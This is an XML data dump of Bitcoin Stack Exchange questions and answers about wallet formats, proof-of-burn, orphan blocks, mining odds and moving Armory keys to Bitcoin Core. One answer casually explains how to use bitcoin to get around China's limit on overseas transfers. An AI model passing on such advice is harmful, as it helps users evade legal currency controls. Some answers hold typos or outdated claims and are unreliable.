key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 04 6d 6b 65 79&lt;/code&gt; (mkey) (Only in encrypted wallets)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 04 6e 61 6d 65&lt;/code&gt; (name)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;00 01 07 70 75 72 70 6f 73 65&lt;/code&gt; (purpose)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's a list of the tokens it uses &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/48b5b84ee511d5ccd0d47bb0018c1b3c9ddebeff/src/wallet/walletdb.cpp#L73&quot; rel=&quot;noreferrer&quot;&gt;in this source file&lt;/a&gt;, and you can see an explanation of what they correspond to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3173/what-information-does-a-wallet-contain/3177#3177&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-07-26T18:06:48.097" LastActivityDate="2017-07-26T18:06:48.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41451" PostTypeId="2" ParentId="1851" CreationDate="2015-11-21T02:17:15.033" Score="2" Body="&lt;p&gt;The methods described by DeathAndTaxes are appropriate. The OP_RETURN method is clearly the best if you want to adhere to the bitcoin recommendations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to present an alternative method where you can provably burn coins and also include sufficient information in the address. &lt;a href=&quot;https://blog.openbazaar.org/why-proof-of-burn/&quot; rel=&quot;nofollow&quot;&gt;We used this method&lt;/a&gt; in the first versions of OpenBazaar and it is called an &quot;almost-collision coin burning&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The de facto standard for burning coin in bitcoin is through an OP-RETURN script. This script has the important advantage that it contributes to bitcoin’s network scalability, as it allows full nodes to prune their UTXO when proof of burn transactions are detected. The mechanism employed to achieve that is simple: While a UTXO is maintained for all unspent regular transactions, when an OP-RETURN transaction is received by a full node, the full node can avoid adding that transaction to the UTXO completely, as the OP-RETURN script constitutes a proof that the amount remains unspendable and hence no future transaction can attach this dangling output to its input; it is hence a permanent dangling output edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP-RETURN scripts work by having the first operator of the bitcoin script be an OP-RETURN, indicating an immediate exception in the execution of the script, hence making spending impossible. After the initial OP-RETURN operator, the rest of the script data can contain information about why the coin was burned, so that different applications can demand different burning, and so that the association with an account is possible. For example, in OpenBazaar’s case, it is important to associate the burned amount with an OpenBazaar GUID, which can be included as non-executable code after the OP-RETURN. The fact that this code is non-executable follows from that it will never be executed due to the earlier exception. However, the OP-RETURN approach lacks certain usability properties that we wished to preserve in our OpenBazaar implementation. In particular, for simplicity of implementation and usage, as well as for separation of concern reasons, we decided that OpenBazaar does not need to include a bitcoin wallet implementation. Instead, the user can use any existing wallet software they wish. Hence, to make payments required by OpenBazaar, either for product purchases or for burn transactions, the user would have to utilize their wallet directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, wallets do not have the ability to create OP-RETURN scripts in any usable way. The only way to create burn transactions are through manual issuing of script commands by the user, which can be confusing or impossible to execute for an average user without a programming background. Furthermore, the OP-RETURN script must be associated with an OpenBazaar GUID, something that makes the inclusion of this ability in existing wallets harder. While a wallet software could offer an API to do that, we are not aware of such implementations just yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For these reasons, we designed an alternative mechanism for coin burning which uses simple standard pay-to-pubkey-hash transactions. These transactions are treated normally by the bitcoin full nodes, hence they are propagated as required. Furthermore, it is easy for regular wallets to create such transactions, and users can easily understand the process and make the payment without worrying that an unnecessary amount of money will be transferred and without requiring special programming knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our schema for burning is based on the following cryptographic assumption, a resistance to an almost-collision: It is computationally infeasible to calculate two hash pre-image values x1, x2 such that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;||H(x1)- H(x1)|| &amp;lt; ε&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the norm denotes the Hamming distance of two strings and ε is a small constant, in our case 1. This assumption is strongly supported by the fact that a hash function is cryptographically secure; if this equation did not hold, a collision would have been found, modulo one bit, which indicates the hash is broken up to almost all of its bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under this assumption for H = RIPEMD160, our schema asks for the burner to take the ECDSA public key associated with their OpenBazaar identity and turn it into a bitcoin address by following the regular schema for 1-prefixed bitcoin addresses. Regular bitcoin addresses are generated from regular bitcoin ECDSA keys as shown in &lt;a href=&quot;https://en.bitcoin.it/wiki/File:PubKeyToAddr.png&quot; rel=&quot;nofollow&quot;&gt;the standard bitcoin address generation algorithm&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate an address that is provably unspendable, the burner starts with their ECDSA OpenBazaar public key and applies the same process. However, the burner perturbates the first SHA256 hash by one bit before piping it to the RIPEMD160 hash. Specifically, they flip the last bit of the hash output. The rest of the process follows identically. Finally, the burner transfers the amount of coin they wish to burn to this generated address. I will now illustrate the properties of correctness, uniqueness, and security for this scheme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Correctness&lt;/strong&gt;. To verify the correctness of the burn, a third party performs the same transformation as the burner. They begin from the public ECDSA key of the OpenBazaar node whose trust they wish to verify and follow the bitcoin address generation process, applying the same perturbation as the burner after the SHA256 stage. Arriving at the final bitcoin address, the verifier then checks the blockchain for money that was sent to this address. This concludes that the burn an honest burner performs will be correctly verified by an honest verifier. (This is a significant advantage when compared to alternative schemes that do not contain why-burned information such as nothing-up-my-sleeve addresses.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uniqueness&lt;/strong&gt;. Under the assumption that RIPEMD160 is hard to reverse and the fact that SHA256 is a cryptographically secure hash function, assumptions already made by bitcoin, the uniqueness of burn address for each OpenBazaar key follows directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;. For this scheme to be secure, we must prove that the burned money cannot actually be spent by anyone. Indeed, if the money were spendable, the spender would have to know the private key associated with a public key which hashes to the perturbed SHA256 value. However, this would allow the generation of an almost-collision in RIPEMD160, as the public key that can be used for spending the burned money and the public key of the OpenBazaar identity would constitute pre-images of hashes that only differ by one bit. From the almost-collision resistance assumption, we conclude that this is computationally infeasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The almost-collision method of coin burning introduces scalability challenges for the bitcoin software. We were not concerned with such challenges in OpenBazaar for two reasons. First, we felt a failure for bitcoin to scale given the massive motivated community use of our primitive constitutes a security problem for bitcoin itself, which must be addressed without requiring players to behave fairly to the system. This is a problem for bitcoin, not OpenBazaar. If bitcoin is susceptible to denial-of-service attacks with such means, the use of bitcoin as a payment system must be reconsidered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, most importantly because we support the bitcoin ecosystem and wish to provide suggestions for solving its scalability issues, they can in fact be eliminated if proof-of-burn transactions are accompanied by the pre-image before perturbation. The accompanying pre-image constitutes proof that the money is unspendable, similar to the way OP-RETURN scripts constitute proof of unspendability. As these pre-images will be publicly available on the OpenBazaar network, in case OpenBazaar becomes largely adopted, full bitcoin nodes can utilize the OpenBazaar network to detect prunable UTXO outputs which perform proof-of-burn through almost-collision pay-to-pubkey-hash scripts. Regardless, the optimizability of the payment network is of little concern to its financially motivated users and its technical implementation details remain an open research problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, however, once the OP_RETURN method becomes a usable alternative, the other methods of burning should be eliminated for elegance and scalability.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2015-11-21T02:17:15.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41452" PostTypeId="2" ParentId="4135" CreationDate="2015-11-21T07:05:10.140" Score="1" Body="&lt;p&gt;Regarding Abe, it should load orphan blocks from the blockchain if you use the blkfile loader... I haven't looked in detail the use of the &lt;code&gt;orphan_block&lt;/code&gt; table but it's empty on both my db's despite the fact I &lt;em&gt;do&lt;/em&gt; have orphan blocks in them (I can't say it's a bug yet but it sure looks fishy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search orphan block by hash in Abe, but to find the hashes you need to look directly in the database. This query works for me on MySQL, using &lt;strong&gt;binary&lt;/strong&gt; hash storage (hence the &lt;code&gt;HEX()&lt;/code&gt; function); be sure to remove it if you store hashes as CHAR hex strings (used to be the default).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT block_height, HEX(block_hash) FROM block b&#xA;  LEFT JOIN block_next bn ON (b.block_id = bn.block_id)&#xA;  WHERE bn.next_block_id IS NULL&#xA;  ORDER BY b.block_id DESC LIMIT 1,10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;LIMIT 1,10&lt;/code&gt; is to skip the most recent loaded block which is most likely the tip; it has no block_next_id but it's not orphan neither.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the RPC loader, you can only catch orphan blocks while loading the latest blocks; it won't receive any orphan from bitcoind unless if it hasn't yet been orphaned! You may catch some using abe_loader and eventually with some code I'm still testing that will allow constantly loading mempool and blocks.&lt;/p&gt;&#xA;" OwnerUserId="11802" LastEditorUserId="11802" LastEditDate="2015-11-21T07:18:32.577" LastActivityDate="2015-11-21T07:18:32.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41454" PostTypeId="2" ParentId="41439" CreationDate="2015-11-21T10:04:54.193" Score="2" Body="&lt;p&gt;Getting a prepaid card on BitGold is pretty easy, you just have to sign up for an account, make sure you have you deposit 1 GAU (gram of gold) on it and request one by providing an id document and a proof of address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use wherever they accept a MasterCard, pretty much everywhere. I personally tried it in Canada and Italy, and it worked flawlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that, even if you can get GAUs by depositing your BTCs, you cannot currently load them directly on the card, since you can really deposit only on the Dubai Vault, and you cannot load the card with the gold in Dubai. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is intended, and you can ask to the &lt;a href=&quot;http://support.bitgold.com/customer/portal/emails/new&quot; rel=&quot;nofollow&quot;&gt;customer support&lt;/a&gt; for more information on why is that so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a reference, you can check the &lt;a href=&quot;http://support.bitgold.com/customer/en/portal/articles/2067276-goldmoney-prepaid-mastercard-general-faqs&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://support.bitgold.com/customer/en/portal/articles/2069469-apply-for-a-goldmoney-prepaid-mastercard&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; on how to apply for a prepaid card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy your BitGold account :)&lt;/p&gt;&#xA;" OwnerUserId="30686" LastActivityDate="2015-11-21T10:04:54.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41455" PostTypeId="2" ParentId="41448" CreationDate="2015-11-21T12:17:58.550" Score="0" Body="&lt;p&gt;Have a read of the MultiBit Classic support item:&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_sentBitcoinFromMultibitButTheyAreStuck.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_support_sentBitcoinFromMultibitButTheyAreStuck.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-11-21T12:17:58.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41456" PostTypeId="1" AcceptedAnswerId="41463" CreationDate="2015-11-21T14:45:16.610" Score="2" ViewCount="3012" Body="&lt;p&gt;I have Bitcoin-core on my mac, and currently it is syncing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what exactly is the point of having the entire blockchain downloaded onto your computer? Is it only there so that you can have an offline wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, are there other benefits to having it on your computer...and if so, what would they be?&lt;/p&gt;&#xA;" OwnerUserId="30670" LastEditorDisplayName="user11221" LastEditDate="2015-11-21T15:05:50.940" LastActivityDate="2021-07-29T17:15:07.813" Title="What is the point of downloading the blockchain?" Tags="|blockchain|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41457" PostTypeId="1" CreationDate="2015-11-21T14:54:16.187" Score="0" ViewCount="87" Body="&lt;p&gt;I'm having issues with blockchain catchup that I believe to be related to the underlying file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Symptoms:&lt;/strong&gt; Significantly behind the network, start client and begin catchup. Catchup proceeds for 1-2GB then halts. CPU usage is 0 for the process, but it holds 500MB-1GB RAM allocated. 0 connections. Console commands receive no response, so crashed process? If I restart the client it will proceed again for a similar length of time, then repeat the behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOT AT: ~353355&#xA;STUCK AT: 359430&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Logs show many of these errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-11-21 03:39:26 ERROR: AcceptToMemoryPool : nonstandard transaction: non-final&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;End of log: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-11-21 04:03:10 UpdateTip: new best=0000000000000000041ca40bdec7946dc4105fea0cefb26ea7fb8914880fe089  height=359623  log2_work=82.893042  tx=71115044  date=2015-06-06 04:15:15 progress=0.806010&#xA;2015-11-21 04:03:14 UpdateTip: new best=0000000000000000028104e61aabd1b31bd0a136c33daecdd92165126aeb7ce1  height=359624  log2_work=82.893074  tx=71115578  date=2015-06-06 04:29:37 progress=0.806021&#xA;2015-11-21 04:03:15 UpdateTip: new best=00000000000000000b0c4437cd594ae56bb6dc532c497af9b595b653311345f5  height=359625  log2_work=82.893107  tx=71115639  date=2015-06-06 04:26:21 progress=0.806019&#xA;2015-11-21 04:03:26 Pre-allocating up to position 0xd00000 in rev00278.dat&#xA;2015-11-21 04:11:27 UPnP Port Mapping successful.&#xA;2015-11-21 04:31:27 UPnP Port Mapping successful.&#xA;2015-11-21 04:51:27 UPnP Port Mapping successful.&#xA;2015-11-21 05:07:26 socket inactivity timeout&#xA;2015-11-21 05:09:30 socket inactivity timeout&#xA;2015-11-21 05:11:27 UPnP Port Mapping successful.&#xA;2015-11-21 05:31:27 UPnP Port Mapping successful.&#xA;2015-11-21 05:51:27 UPnP Port Mapping successful.&#xA;2015-11-21 06:11:27 UPnP Port Mapping successful.&#xA;2015-11-21 06:31:27 UPnP Port Mapping successful.&#xA;2015-11-21 06:51:27 UPnP Port Mapping successful.&#xA;2015-11-21 07:11:27 UPnP Port Mapping successful.&#xA;2015-11-21 07:31:27 UPnP Port Mapping successful.&#xA;2015-11-21 07:51:27 UPnP Port Mapping successful.&#xA;2015-11-21 08:11:27 UPnP Port Mapping successful.&#xA;2015-11-21 08:31:27 UPnP Port Mapping successful.&#xA;2015-11-21 08:51:28 UPnP Port Mapping successful.&#xA;2015-11-21 09:11:28 UPnP Port Mapping successful.&#xA;2015-11-21 09:31:28 UPnP Port Mapping successful.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to happen on my Flexraid disk array(Snapshot RAID) that appears to the OS (2008R2) as a regular NTFS 8TB volume &lt;em&gt;but&lt;/em&gt; not on a regular 160GB backup drive. I've seen issues once before when an application attempted to create many files at once, this was resolve by tweaking that applications write caching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for tweaks to allow stable disk IO? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Forgot client info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;version&quot; : 90300, v0.9.3.0-g40d2041-beta&#xA;&quot;protocolversion&quot; : 70002,&#xA;&quot;walletversion&quot; : 60000,&#xA;&quot;balance&quot; : 2.27391276,&#xA;&quot;blocks&quot; : 353567,&#xA;&quot;timeoffset&quot; : 9,&#xA;&quot;connections&quot; : 8,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NB: Client is out of date BUT I've tested with the latest LTC-QT and have the same RAID no single yes behaviour so its unlikely the cause. &lt;/p&gt;&#xA;" OwnerUserId="30676" LastEditorUserId="30676" LastEditDate="2015-11-21T15:02:05.580" LastActivityDate="2016-03-31T21:40:56.207" Title="Bitcoin-QT issues with non standard filesystem" Tags="|wallet|blockchain|bitcoin-qt-setup|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="41458" PostTypeId="1" CreationDate="2015-11-21T17:43:49.563" Score="-2" ViewCount="308" Body="&lt;p&gt;is there any site where you can buy/sell bitcoins with 0 fee.&#xA;I know sites like ultrachange.biz and other sites but they take too much.&lt;/p&gt;&#xA;" OwnerUserId="30691" LastActivityDate="2022-12-12T11:53:32.737" Title="Sell bitcoin for 0% fee" Tags="|sell-bitcoins|" AnswerCount="2" CommentCount="3" ClosedDate="2022-12-12T13:11:21.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="41459" PostTypeId="2" ParentId="23142" CreationDate="2015-11-21T19:28:42.707" Score="1" Body="&lt;p&gt;You would not be able to fool any bitcoin client that had progressed further than your point of split.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you fed your blockchain to a client that was starting at the beginning or just starting from before you point of split you could feed them false blocks indefinitely as long as you were the only other peer they talked too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it would be a practical attack. There is no practical way to prevent them from talking to another peer, and the moment another peer presents a blockchain of greater difficulty yours would be ignored.&lt;/p&gt;&#xA;" OwnerUserId="5300" LastActivityDate="2015-11-21T19:28:42.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41460" PostTypeId="1" CreationDate="2015-11-21T20:24:12.563" Score="3" ViewCount="853" Body="&lt;p&gt;I would like to transfer large sum of money out of China to another country using bitcoin. China has a $50k limit on overseas transfer, so I thought bitcoin will be a good way to circumvent that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="30693" LastActivityDate="2015-12-14T13:13:44.413" Title="Transferring Money from China to another Country Using Bitcoin" Tags="|reward-schedule|china|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41461" PostTypeId="2" ParentId="41460" CreationDate="2015-11-21T21:01:20.860" Score="2" Body="&lt;p&gt;All you need to do is find someone to sell the amount you are looking for of bitcoins. After the bitcoins get to your address, you can spend them the way you like, anywhere in the globe (as long as you have internet access). So, if you wanna send them to someone abroad, all you need is get the bitcoin address of this person and transfer the amount you choose.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main difficulty for you in China is, probably, find someone to sell the bitcoins in the first place. For that matter, you will have to do some searching in your local area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very simple!&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-11-21T21:01:20.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41462" PostTypeId="1" AcceptedAnswerId="41464" CreationDate="2015-11-21T21:04:44.613" Score="0" ViewCount="1380" Body="&lt;p&gt;If you have a PC and you try casual solo mining on your PCs CPU is it theoretically possible to mine a block and get the full block reward if you get really lucky? I know this is extremely unlikely given the low hash rate of a CPU but is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just wondering is there any point having your pc running when your not using it.&lt;/p&gt;&#xA;" OwnerUserId="28157" LastEditorUserId="28157" LastEditDate="2015-11-21T21:19:30.687" LastActivityDate="2015-11-21T21:19:30.687" Title="Is it possible to win the Bitcoin lottery?" Tags="|solo-mining|cpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41463" PostTypeId="2" ParentId="41456" CreationDate="2015-11-21T21:10:59.263" Score="2" Body="&lt;p&gt;Some good reasons to download the whole blockchain:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can verify the entire blockchain and confirm the longest chain. This means you literally have to trust nobody. You can verify everything.&lt;/li&gt;&#xA;&lt;li&gt;Along the same lines, you don't have to trust anyone about the actual balance in your wallet. It's impossible to know for certain unless you have the entire blockchain.&lt;/li&gt;&#xA;&lt;li&gt;You contribute to the bitcoin network by being a relay node that verifies transactions and passes on only what's standard or has enough fees for the age/size of the transaction.&lt;/li&gt;&#xA;&lt;li&gt;If you run SPV wallets elsewhere, this will mean you have a trusted place where you can find out about various addresses and transactions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Basically, it comes down to, do you want to trust someone else or do you want to see it for yourself. Trusting others works if you have a big enough pool of other people, but it doesn't work if there's only a few, so that's why you would have the entire blockchain on your computer.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-21T21:10:59.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41464" PostTypeId="2" ParentId="41462" CreationDate="2015-11-21T21:18:32.883" Score="4" Body="&lt;p&gt;Yes, it's possible to solo-mine using your PC. The odds are astronomically small, however. You can look up what hash rate your CPU will get &lt;a href=&quot;https://en.bitcoin.it/wiki/Non-specialized_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The best possible CPU the Xeon Phi 5500 gets 140 MH/s. Current network hash rate is 570,000,000,000 MH/s. So every block, you have a 0.000000000245% chance of finding the block. You'll find one block every 76,000 years if the hash rate were to stay constant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The electricity costs of running your PC are far, far higher than the expected payoff of mining with your CPU. Heck, the wear and tear on your computer is probably a lot higher cost than that expected payoff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And note, too that this is the best possible CPU. Your average CPU is about 10x worse.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-21T21:18:32.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41465" PostTypeId="2" ParentId="41458" CreationDate="2015-11-21T22:19:08.320" Score="1" Body="&lt;p&gt;The 0-fee sites are all Chinese. btcc.com, huobi.com and okcoin.com are three prominent ones.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-21T22:19:08.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41466" PostTypeId="1" AcceptedAnswerId="41467" CreationDate="2015-11-21T22:57:30.130" Score="3" ViewCount="3941" Body="&lt;p&gt;I have a wallet with &lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; which I'm not happy with and I'd like to manage my wallet with &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core&lt;/a&gt;. Is there way to &quot;transfer&quot; the wallet between the clients? I'm currently running OSX 10.11.1.&lt;/p&gt;&#xA;" OwnerUserId="30696" LastActivityDate="2017-01-24T15:58:39.133" Title="Transfer wallet from Armory to Bitcoin-Qt" Tags="|bitcoin-core|armory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41467" PostTypeId="2" ParentId="41466" CreationDate="2015-11-22T00:16:19.247" Score="1" Body="&lt;p&gt;just send the money to your new wallet&lt;/p&gt;&#xA;" OwnerUserId="30697" LastActivityDate="2015-11-22T00:16:19.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41468" PostTypeId="2" ParentId="41460" CreationDate="2015-11-22T00:47:31.267" Score="0" Body="&lt;p&gt;It's gonna be hard to change the bitcoins back to USD or EUR as well. Be prepared to lose a lot of money on both sides.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-11-22T00:47:31.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41469" PostTypeId="1" CreationDate="2015-11-22T01:08:45.383" Score="0" ViewCount="113" Body="&lt;p&gt;What of the following do I put on the tax form that I got money from a website for viewing ads, donating money, turning gift cards into bitcoin, buying gold, putting money into a bitcoin savings acount, buying miningsweden mining shares, or handing money to a scammer?&#xA;By the way I did not buy any bitcoins from an exchange.&lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="4334" LastEditDate="2018-11-17T23:47:49.050" LastActivityDate="2018-11-17T23:47:49.050" Title="What does the IRS tax in terms of bitcoin practices" Tags="|taxes|usa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41470" PostTypeId="2" ParentId="41366" CreationDate="2015-11-22T01:39:17.823" Score="0" Body="&lt;p&gt;I've tried few places and by far &lt;a href=&quot;http://247exchange.com&quot; rel=&quot;nofollow&quot;&gt;http://247exchange.com&lt;/a&gt; is the best - their fees are reasonable, the process is quite simple and although I had to verify myself it was quite fast and easy&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2015-11-22T01:39:17.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41471" PostTypeId="2" ParentId="41466" CreationDate="2015-11-22T02:53:43.250" Score="6" Body="&lt;p&gt;You can't transfer the wallet, per se, but you can transfer the private keys. Here's how to do it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run armory in offline mode (simply run &lt;code&gt;armory --offline&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Click on your wallet and click &quot;Backup This Wallet&quot; and enter the password.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Export Key Lists&quot; and click the button at the bottom&lt;/li&gt;&#xA;&lt;li&gt;Check &quot;Private Key (Plain Base58)&quot; from the checklist and nothing else.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Omit spaces in key data&quot;, as these may cause an &quot;Invalid private key encoding&quot; during import&lt;/li&gt;&#xA;&lt;li&gt;Take each private key listed in the window and import them into bitcoin by using this command: &lt;code&gt;bitcoin-cli importprivkey &amp;lt;privkey&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Just out of curiosity, what aren't you happy about with Armory? I ask because I'm an Armory developer.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2017-01-24T15:58:39.133" LastActivityDate="2017-01-24T15:58:39.133" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41472" PostTypeId="1" AcceptedAnswerId="41475" CreationDate="2015-11-22T05:31:46.347" Score="0" ViewCount="167" Body="&lt;p&gt;I'm studying open asset protocol, however I have no idea how to read asset quantity list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Open Assets Protocol documentation tells that data in marker output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xac 0x02 0x00 0xe5 0x8e 0x26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;means &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The asset quantity list:&#xA;                                   - '0xac 0x02' means output 0 has an asset quantity of 300.&#xA;                                   - Output 1 is skipped and has an asset quantity of 0&#xA;                                     because it is the marker output.&#xA;                                   - '0x00' means output 2 has an asset quantity of 0.&#xA;                                   - '0xe5 0x8e 0x26' means output 3 has an asset quantity of 624,485.&#xA;                                   - Outputs after output 3 (if any) have an asset quantity of 0.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could you tell me how they calculate quantity of assets by the marker output?&#xA;I thought that 0xac is 13(c)*16^0 + 10(a)*16^1 = 173, but it seems the idea is not correct.&lt;/p&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2015-11-22T15:03:05.343" Title="How to read the asset quantity list of open asset protocol?" Tags="|op-return|open-assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41473" PostTypeId="2" ParentId="9068" CreationDate="2015-11-22T11:37:28.233" Score="12" Body="&lt;p&gt;Bitcoind no longer supports RPC calls. Try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;watch bitcoin-cli getblockchaininfo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the displayed number of blocks equals the displayed number of headers, you're synced!&lt;/p&gt;&#xA;" OwnerUserId="30706" LastActivityDate="2015-11-22T11:37:28.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
